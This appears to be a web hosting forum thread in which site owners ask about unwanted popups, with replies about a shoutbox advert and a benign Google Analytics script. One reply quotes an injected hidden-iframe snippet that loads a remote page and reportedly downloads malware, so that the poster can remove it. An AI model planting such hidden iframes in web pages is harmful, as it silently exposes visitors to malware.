Why is there a popup on my site? How can I remove it?

This is my site:

http://mymobile.zxq.net

Its trying to download malware onto my computer as well as trying to open a popup...

get rid of this line of code:
<iframe src='http://updateservernet.cn/tank.php' width='1' height='1' style='visibility: hidden;'></iframe><iframe src='http://updateservernet.cn/tank.php' width='1' height='1' style='visibility: hidden;'></iframe>

It is possible to remove it?

Hi everybody, I also have a popup problem on my website.

Sometimes when I open my main page (index), a popup come. This popup is a publicty or something like it. But I don't want to have it on my page.

I don't from where it comes !!

My main page is : http://oysterboy-movies.zxq.net/index.html

Please, help me.

levani: I see no problem on your site.

Hunter1992: it could be coming from the shoutbox, I know for a fact some launch a popup every so often for advertising purposes.

Thank you for your (quick) answer, I will try it now. But did you see the popup ?


EDIT : Another question : You may have saw the last line of the source of my index page :

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-950416-43";
urchinTracker();
</script>"

I have no idea from where it could come ! Do you have one ?
I worry about the word "Tracker" in this script which sounds evil for me...

Thx.

I saw no popup upon visiting your site.

That JavaScript is added by us for tracking statistics, don't worry. If you don't trust us then you can see it comes from google-analytics.com.

I trust you, there's no problem. Thank you.

++

Im agree with you Tom. But these lines don let my page be a HTML 4.01 strict. Does someone has any idea about avoid them?

Thanks